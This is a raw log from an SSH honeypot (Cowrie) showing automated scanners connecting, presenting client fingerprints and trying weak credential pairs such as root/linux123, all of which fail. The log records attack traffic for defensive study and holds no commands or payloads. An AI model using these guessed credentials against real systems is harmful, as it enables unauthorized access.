{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":38614,"dst_ip":"10.17.0.5","dst_port":22,"session":"974848769843","protocol":"ssh","message":"New connection: 178.20.210.186:38614 (10.17.0.5:22) [session: 974848769843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:06.257887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:06.262319Z","src_ip":"178.20.210.186","session":"974848769843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:06.356884Z","src_ip":"178.20.210.186","session":"974848769843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mtcl","password":"mtcl","message":"login attempt [mtcl/mtcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:06.756343Z","src_ip":"178.20.210.186","session":"974848769843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:06.853969Z","src_ip":"125.16.27.190","session":"5e99aaa3a62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:07.854055Z","src_ip":"178.20.210.186","session":"974848769843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:08.202393Z","src_ip":"125.16.27.190","session":"5e99aaa3a62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":43523,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f5d3ddc71a","protocol":"ssh","message":"New connection: 175.107.32.186:43523 (10.17.0.5:22) [session: 40f5d3ddc71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:11.316489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:11.320891Z","src_ip":"175.107.32.186","session":"40f5d3ddc71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:11.551193Z","src_ip":"175.107.32.186","session":"40f5d3ddc71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:12.504246Z","src_ip":"175.107.32.186","session":"40f5d3ddc71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:13.748425Z","src_ip":"175.107.32.186","session":"40f5d3ddc71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":43740,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b59ab5ec33","protocol":"ssh","message":"New connection: 66.113.163.125:43740 (159.203.135.109:22) [session: 32b59ab5ec33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:15.853779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:15.892766Z","src_ip":"66.113.163.125","session":"32b59ab5ec33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:15.925444Z","src_ip":"66.113.163.125","session":"32b59ab5ec33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:16.107487Z","src_ip":"66.113.163.125","session":"32b59ab5ec33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:17.146543Z","src_ip":"66.113.163.125","session":"32b59ab5ec33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":40118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f076c7b47d7","protocol":"ssh","message":"New connection: 159.195.79.219:40118 (10.17.0.5:22) [session: 5f076c7b47d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:24.565521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:24.569595Z","src_ip":"159.195.79.219","session":"5f076c7b47d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:24.666254Z","src_ip":"159.195.79.219","session":"5f076c7b47d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:25.067731Z","src_ip":"159.195.79.219","session":"5f076c7b47d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:26.165506Z","src_ip":"159.195.79.219","session":"5f076c7b47d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":53008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3154ccf2ee4f","protocol":"ssh","message":"New connection: 185.153.231.45:53008 (159.203.135.109:22) [session: 3154ccf2ee4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:27.283415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:27.287953Z","src_ip":"185.153.231.45","session":"3154ccf2ee4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:27.415956Z","src_ip":"185.153.231.45","session":"3154ccf2ee4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nb","password":"nb","message":"login attempt [nb/nb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:27.958742Z","src_ip":"185.153.231.45","session":"3154ccf2ee4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":54002,"dst_ip":"159.203.135.109","dst_port":22,"session":"654f805d00ed","protocol":"ssh","message":"New connection: 31.56.209.38:54002 (159.203.135.109:22) [session: 654f805d00ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:28.513623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:28.518282Z","src_ip":"31.56.209.38","session":"654f805d00ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:29.090215Z","src_ip":"185.153.231.45","session":"3154ccf2ee4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:33.135198Z","src_ip":"31.56.209.38","session":"654f805d00ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:33.220707Z","src_ip":"31.56.209.38","session":"654f805d00ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":57678,"dst_ip":"159.203.135.109","dst_port":22,"session":"69a0b773c10c","protocol":"ssh","message":"New connection: 107.0.200.227:57678 (159.203.135.109:22) [session: 69a0b773c10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:39.015527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:39.029515Z","src_ip":"107.0.200.227","session":"69a0b773c10c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:39.057203Z","src_ip":"107.0.200.227","session":"69a0b773c10c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smb","message":"login attempt [root/smb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:39.214495Z","src_ip":"107.0.200.227","session":"69a0b773c10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:40.248925Z","src_ip":"107.0.200.227","session":"69a0b773c10c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":56416,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d94b05f9f0","protocol":"ssh","message":"New connection: 92.191.96.70:56416 (10.17.0.5:22) [session: c8d94b05f9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:45.936631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:45.946179Z","src_ip":"92.191.96.70","session":"c8d94b05f9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:46.098315Z","src_ip":"92.191.96.70","session":"c8d94b05f9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:46.625280Z","src_ip":"92.191.96.70","session":"c8d94b05f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:26:47.752680Z","src_ip":"92.191.96.70","session":"c8d94b05f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":44640,"dst_ip":"159.203.135.109","dst_port":22,"session":"65c5dee8480a","protocol":"ssh","message":"New connection: 185.153.231.45:44640 (159.203.135.109:22) [session: 65c5dee8480a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:15.011351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:15.017063Z","src_ip":"185.153.231.45","session":"65c5dee8480a","protocol":"ssh"}
